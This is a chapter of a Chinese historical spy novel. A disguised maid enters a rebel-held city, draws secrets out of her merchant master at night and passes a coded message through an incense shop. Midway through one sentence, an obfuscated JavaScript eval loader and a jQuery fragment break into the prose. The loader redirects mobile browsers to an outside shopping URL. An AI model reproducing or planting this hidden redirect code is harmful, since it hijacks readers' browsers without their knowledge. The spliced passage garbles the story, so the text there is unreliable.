户部核饷的队伍走了十一天，到的潼川。
一路上，官道越走越挤。头几天挤的是南下的兵车粮车，后几天，挤的是北上的人——拖家带口的、推着独轮车的、背着老人的，一股一股地从南边漫上来，见了官军的旗就往路边跪。核饷的官员在车里骂了一路，说这路要是再这么堵下去，误了期限谁担待。
有容的青布小车跟在队尾。她一路不下车，不搭话。车帘偶尔掀开一条缝，看一眼路边，又放下。
到潼川的头一晚，驿馆里的官员们吃酒，她屋里的灯亮到后半夜。
她做了三件事。
先是把那身体面的青布衣裳收进包袱底，取出一身粗麻的素服，一朵白绒花。
然后她拆开了包袱的夹层。文馨给的路引、慈宁宫的腰牌，用两层油纸包平了，缝进夹层的底里。针脚走的是原来的旧线，缝完了，从外头摸不出一点厚。
最后，她取出一块巴掌大的素木牌，就着油灯，研了墨，一笔一笔地写。
写的是一位老人的名讳。上款下款，规规矩矩。写完了，她把牌位对着灯看了一会儿，等墨干透，用一方白布，仔仔细细地包起来，搁进了包袱最上头。
那位病了大半年的父亲，如今有了一块牌位。
第二天天不亮，她给领队的书吏留了半吊钱和一句话——家父新丧，要往南边乡下去，不劳诸位大人挂心。书吏收了钱，多一个字没问。乱世里，人各有各的要紧事。
她一个人，背着包袱，出了潼川大营的辕门，朝着人流相反的方向，往南走。
过了官军最南边的一道卡子，再走一天，路就变了。
驿站是烧过的，墙还立着，梁塌了半边。路边的田里没有人，稻子熟过了头，倒伏了一片一片，没人收。远处偶尔有马队卷着尘土过去，看不清旗号。北上的人流到了这一段就稀了——能逃的早逃了，逃不动的，关了门躲在村子里。
第三天傍晚，她走到了江州北门外的卡子。
卡子上是叛军的兵。玄色的号衣，臂上缠一道金布条。为首的什长把她拦下，上下打量。
"哪里的？"
"回军爷，"她垂着眼，声音不高不低，"奴家回城，家父新丧，回府复命。"
什长没有挥手。
这几日城里刚出过事——前儿夜里拿了两个往城里递条子的，大帅府下了令，进出盘查加倍。什长朝旁边呶了呶嘴，一个年轻的兵上前，一把扯过她的包袱，蹲在地上就解。
包袱皮摊开。孝服。纸钱。几件旧衣。
那兵一层一层地翻。翻到最底下，手指头已经摸着了夹层的边。
有容站在旁边，没有动，也没有出声。
那兵的手从夹层边上收回来，去揭最上头那个白布包。白布解开一角，露出素木的一角，和一行墨字的头两个字。
"军爷仔细。"
她开口了。声音不高，也不急。
"里头是家父的牌位。老人家走了才一个多月，魂儿还没安生。冲撞了先人，奴家不怕——"她顿了顿，"就怕先人跟了军爷回营，夜里不安生。"
那兵的手，僵在白布上。
天擦黑了，卡子上的火把刚点起来，风一吹，火苗歪了一歪。那兵盯着白布里那两个墨字看了看，把白布原样掩上，手在自己裤腿上擦了两把，站起来退开了。
"晦气。"什长啐了一口，"收拾了滚进去。进城做什么？投谁？"
"回军爷，华府。"她一面不慌不忙地收拾包袱，一面答，"奴家是华府的仆妇。"
"华府？"什长的眉毛动了一下。他回头跟旁边的兵咕哝了两句，又转回来，口气松了半截，"平公府上的？"
"是。"
什长挥了挥手。她背起包袱，走进了城门洞。身后那个年轻的兵低声说了句什么，什长骂了他一句："大帅有令，平公府上的事，少打听。"
城门洞里一线昏黄的火光。她从光里走过去，进了城。
进了北门，是另一座江州。
街面上的铺子十家关着七家，开着的那三家门口，都站着号衣兵。墙上刷着新的告示，一层压着一层。粮店门口排着长队，队伍从街这头拐到街那头，没有人说话。
府衙前的广场上，立着那根九丈的旗杆。
玄色的大旗在半空里张着。日头已经落了，最后一点天光里，金线绣的八个大字还在一个字一个字地亮——
奉天靖难，复我正朔。
旗底下有兵把守，行人绕着走，走过的时候都不敢抬头多看。
有容走到广场边上，停了一步。
她抬起头，看了一眼。
就一眼。
然后她低下头，抱着包袱，绕着广场的边走过去，汇进了暮色里赶路的人影中间。
华府的大门口，站着四个叛军的兵。
不是围，是守。门边贴着一张盖了大印的告示——奉大帅令，平公宅邸，闲人不得滋扰。
老门房从门缝里看见她，愣了半天，门闩响了三响才拉开。
"有容姑娘？！"老头的声音都劈了，"你——你可算回来了！你这一走就是大半年哪！"
"福伯。"她屈了屈膝，"我回来了。家父去了。丧事完了，我回府复命。"
老门房看见她鬓边的白绒花，把后头的话咽了，叹着气侧身让她进去。
府里静得吓人。
前院的回廊下，堆着几十口钉好的箱子，苫布蒙着。二门里头，从前一天到晚人来人往的甬道，此刻空空的，青砖缝里长了草。厨房那头有一缕烟，除此之外，这座三进的大宅子听不见人声。
管家出来见了她，也是先愣，后叹。她把该回的话回了——父亲几月里去的，葬在哪个坡上，七七做到了第几七。管家一一听了，说二太太随家眷们南下了，走了快两个月了，姑娘的话，回头有船去，捎给二太太。
"府里就剩这几个人了。"管家最后说，"老爷白日里常被帅府那头请去，说是问粮上的事。姑娘先歇着，晚间老爷回来，再去回话。"
他说完，又叹了一口气，添了一句：
"回来了就好。你这一走就是大半年——老爷嘴上不说，心里头，除了三太太，最惦记的就是你在外头好不好。"
有容垂着眼，屈了屈膝："有劳管家。"
她随着一个老妈子往后头去。
穿过第二进的时候，她的目光从西边扫过。
西跨院的月洞门上，挂了一把锁。锁是新的，黄铜的，在暮色里有一点亮。门里头静悄悄的，可门外的青砖上，有一溜踩得发白的脚印，从甬道一直到门槛——这条道，一天要走好几趟。
她的目光在那把锁上停了不到一息，收回来，跟着老妈子走过去了。
平南天回府的时候，天已经黑透了。
他是被帅府的人"请"去的，一坐一整天。问的还是粮——江州官仓的底数、南洋船下一拨几时到、票号的银子几时能兑。问话的是游弋忒帐下管粮台的官，客气，客气得像钝刀子。他陪着笑答了一天，后腰的中衣湿了三层。
轿子进了二门，他撩帘下来，管家提着灯迎上来，说了一句什么。
平南天站住了。
"谁回来了？"
"有容。姑娘家里老父去了，丧事办完，回府复命来了。"
平南天提着袍角站在原地，半天没动。
然后他看见了。前头的廊子底下，灯笼的光圈边上，站着一个人。一身粗麻素服，鬓边一朵白绒花，见他望过来，屈膝，深深地福了下去。
"老爷。"
大半年了。
平南天这大半年里，眼看着港口的生意翻着番地涨，又在这一个月里眼看着整座家业要塌；他把老婆孩子装上船送出海，把自己一个人留在这座空宅子里；他白天陪着钝刀子说话，夜里数着房梁想哪一天轮到自己。
这满府上下，如今活着走动的，哪一个不是后来买进来的人。只有廊下这一个，来历跟他自己一样老——十七年前那座烧掉的王府里，她是后院端茶的小丫头，他是账房里进出的商人。旧宅子塌了，故人死的死、散的散，剩下的几个，一个在南海边上做他的主子，一个站在这盏灯笼底下，给他行礼。
"回来了。"他听见自己说，声音哑的，"回来就好。起来吧。你爹的事……节哀。"
"谢老爷。"
她起身，垂着眼，接过管家手里的灯，在前头引路。灯光晃晃地照着甬道的青砖。平南天跟在后头，看着她的背影，一时间恍惚得厉害——恍惚得像这大半年、这场仗、这满城的玄色号衣，都是他做的一个梦。
夜里，她提了热水到上房伺候。
这原不是她的差事——她从前是二太太房里的人。可这宅子里如今没有旁人了，老妈子腿脚慢，她借机就接了。平南天坐在灯下泡脚，看着她跪在脚踏边替他试水温，一句话没说。
水换了两道。
她起身要退下去的时候，平南天开口了。
"有容。"
"老爷。"
"你留下。"他说。
说完这两个字，他整个人往椅背上一松，像是卸下了一天的什么。他望着她，忽然贼兮兮地笑了——那笑一上脸，帅府的钝刀子、满城的玄色号衣、这一个月的提心吊胆，都从他脸上退了下去，露出底下那个她熟识的、发了财的、藏不住得意的商人。
"二太太那婆娘不在——"他压低了声音，笑纹挤到了眼角，"今儿个，不用偷偷摸摸的了。"
她站在原地，垂着眼，没有接话。
她走回来，把灯，剔暗了一格。
后半夜，平南天睡不着。
他这一个月都睡不着。可今夜的睡不着，跟前头那些夜不一样。前头那些夜，他是一个人瞪着帐顶，越瞪越冷；今夜身边有一个温热的、活的人，安安静静地枕在他臂弯里，他反倒不想睡了——他怕一睡着，醒来这又是空的。
黑里，他开口说话了。
头一句，就像是接着大半年前没说完的话。
"上回你走的时候，老爷跟你说的那桩大事——"他的声音里带着一点压不住的得意，"要变天，要夺天下。你进城的时候瞧见了没有？府衙前头那面旗，九丈高。老爷我，可不是白许的。"
有容枕在他臂弯里。
"瞧见了。"她说，"好大的旗。"
"那旗底下走的粮、走的饷，"他的下巴在黑里抬了抬，"一半是打老爷我这双手里过的。"
他说完，把她往怀里拢了拢，在黑里舒舒服服地舒展了一下。
"从前呢？"他说，"从前你三更前必得回你那院去，鞋拎在手里，专走檐底下背光的那一溜。有一回二太太查夜，你贴着影壁站了小半个时辰——回去还落她一顿排揎，说你偷懒贪睡。"
他在黑里笑出了声。
"她哪里知道，她排揎的这个人，前半夜在哪儿。"
"如今好了。三更就三更，天亮就天亮。那婆娘隔着一片海呢——她要查夜，让她查船舱去。"
有容枕在他臂弯里，没有动。
"老爷高兴。"她说。
他是高兴。他笑得胸口一起一伏，笑了好一阵。
笑够了，屋里静了下来。
静着静着，那层得意就像一层浮油，慢慢地散了。底下的东西，一样一样，漫了上来。
他说起家里。说船是分三拨走的，二太太晕船，吐了一路，捎回来的信上还在数落他。说小孙子会喊人了，他没听着。说这宅子里的箱子钉好了两个月了，一直没敢往外运——运出去，就是告诉全天下，平家要跑。
有容枕在他臂弯里，"嗯"了一声。
他又说粮。说帅府那头一天一问，问得他把几十年的家底都快倒干净了。说着说着，声音低了下去。
"还有一笔账，我算了三遍。"他说，"军粮的账。六万人的粮，该吃三十天，二十四天就见了底。多出来将近一成半的嘴。带兵的那位说是新募的壮丁没入册——可壮丁是这两三个月的事，缺口，上上个月就有了。日子对不上。有容，日子对不上啊。我不敢想。那多出来的九千张嘴藏在哪儿，吃了两个多月的粮——那是什么？"
黑里静了片刻。
"老爷想岔了也未可知。"她轻轻地说，"账上的事，差个把日子，常有的。"
"但愿。"平南天喃喃地说，"但愿是我想岔了。"
他又说京里。说他这两年在京里置了四处宅子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900911|212941||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，走的是三家不同的票号，落的都是别人的名字。说这一个月，南边陆陆续续北上去了一些人，一拨一拨的，都不多，走的商路，用的就是他的银子他的宅子。说到这儿他自己都笑了一声，笑得发苦："我这个钱袋子，装到今日，里子都快磨穿了。"
"老爷积的是德。"她说。
"德。"平南天在黑里重复了一遍这个字，没再接。
沉默了半晌，他忽然又开口："府里还有一件事——"
话说了半截，停住了。
黑里，他的胸口起伏了两下。
"算了。"他说，"不与你相干。睡吧。"
"老爷乏了。"她替他把被角掖了掖，"睡吧。"
平南天闭上眼。这一夜他睡得极沉，一个梦都没做——一个月了，头一回。
他不知道身边的人几时睡的。
也没人知道。
第二日，天没亮透，她就起了。
先去了厨房，把炉子生起来，熬上粥。又把老爷今日要穿的衣裳熏了，帅府来人抬轿的时辰，她提前一刻打发小厮在门房候着。晌午她领着老妈子把上房里外扫了一遍，被褥抱出去晒了，连帐钩上积的灰都拿布头拈掉了。
傍晚管家从外头回来，站在二门里往里望了一眼，跟福伯咕哝了一句：这宅子，像是又活了半口气。
她跟管家告了半天假，说要去街上买些香烛纸钱——她父亲的五七快到了，要在府里给老人烧一炷。管家自然应了，还嘱咐她早去早回，街面上不太平。
香烛铺在城南，一条窄街的把角上，乱世里生意反倒好——死人多，烧纸的就多。她进去的时候，铺子里有两三个客人。她不急，站在架子跟前慢慢地挑，挑到人走净了，才走到柜前。
"掌柜的，"她说，"有没有南边庙里开过光的往生钱？家父的五七，想烧点好的。"
掌柜的是个干瘦的中年人，闻言抬起眼，看了她一眼。
"开光的往生钱，得后头库里取。"他说，"客人跟我来。"
后头是一间堆货的暗间。掌柜的点了一盏小油灯，从她手里接过一样东西——半枚剪过边的铜钱——就着灯看了看边口，揣进了怀里。然后他从货架底下摸出笔墨和一张裁得极小的绵纸，搁在条凳上，人退到了门口，背对着她。
她俯身，就着油灯，写了两行小字。
字极小，极工整。
拉妃有喜，将近三月。宫中封口，未走旧线。
写完，她把纸吹干，折成指甲盖大的一个方胜，用一段蜡封了边，搁在条凳上，旁边压上一小锭银子。她直起身，理了理鬓边的白绒花，端着掌柜的替她包好的一提香烛纸钱，从前头铺面出去了。
那一晚，她在府里的空院子里给父亲烧纸。
火盆摆在院子当心，那块白布包着的牌位，端端正正供在小几上。她跪在火盆前，添一张，看它烧透，再添一张，不急不慢。火光一明一暗地照着她的脸。
平南天就是这时候从帅府回来的。
他刚进二门，就看见西边空院子里有火光。他心里一紧，快走了两步——走到月洞门边上，站住了。
院子里，那个女人跪在火盆前烧纸。素服，白绒花，脊背挺得直直的，一张一张地添，添得那样慢，那样稳，像这满城的兵、满街的告示、这座要塌的宅子，都在那个小院子外头，进不来。
平南天站在月洞门的暗影里，看了很久。
他想起自己那口没敢下葬的老父亲——灵柩还寄在南边的庙里，说好了太平了再迁回祖坟，一寄就是三年。他想起被他装上船的一家老小。他想起这一个月里，他跟着帅府的钝刀子转、跟着王爷的密信转、跟着票号的水单转，转得他都快忘了——人这一辈子，原来还有这样一种过法：给死去的人，安安静静地，烧一炷纸。
他的喉咙堵了一下。
他没有进去。他退回暗影里，绕开那个院子，回了上房。
后半夜，黑里，平南天又开口了。
"有容。"
"老爷。"
"昨儿夜里，我有半句话没说完。"他说。他的声音跟昨夜不一样了，昨夜是倒苦水，今夜这个声音，是从很深的地方，一个字一个字往外搬的。"今夜我想说了。你听了，烂在肚子里。"
"老爷。"她的声音在黑里，很轻，"奴家一个乡下回来的妇人，听不懂那些大事。老爷要是憋得慌，就说。说了，也就散了。"
平南天长长地出了一口气。
这些年，他习惯了什么话都往这只耳朵里倒——生意上的险棋，给上头那位递银子的路数，连他爹的灵柩寄在哪座庙里，都只说给过她一个人。这么多年，没有一个字从她那儿漏出去过。这张嘴，比他自己的还严。
他说了。
他说上头那位——他没说名字，只说"上头那位"——让他亲口给京里来的一位贺大人递过一句话。那句话许出去的东西太大了。"南面之事，借重丞相。"他一个字一个字地把这句话在黑里说了一遍，说完自己先打了个寒噤。
"可南面……"他的声音抖了，"南面早就许给带兵的那一位了。一样东西，许了两家。这话是从我嘴里出去的。往后不管哪一头知道了另一头——第一个死的，是传话的人。"
有容的手，在他胸口，轻轻地拍了两下。像哄一个孩子。
"我夜里就是让这句话压着。"平南天喃喃地说，"压了一个月了。今儿说出来了——"他停了停，像是在黑里掂自己胸口那块地方，"真就轻了。"
他的话头散了，东一句西一句。说着说着，忽然叹了一口气。
"也不知道……三太太在宫里，怎么样了。"
他说这一句的时候，声音低了下去，带着一点他自己都没察觉的愧。
"三太太福大。"黑里，她的声音听不出任何东西，"老爷别惦记了。夜深了。"
"嗯。"
平南天闭上眼。不多时，鼾声一起一伏，压着窗外远远的更鼓。
有容躺在他的臂弯里，睁着眼。
三更的梆子从街那头传过来，敲了三下，又远了。
黑里，她睁着眼，一动不动。
窗外，江州的夜，静得像什么都没有发生过。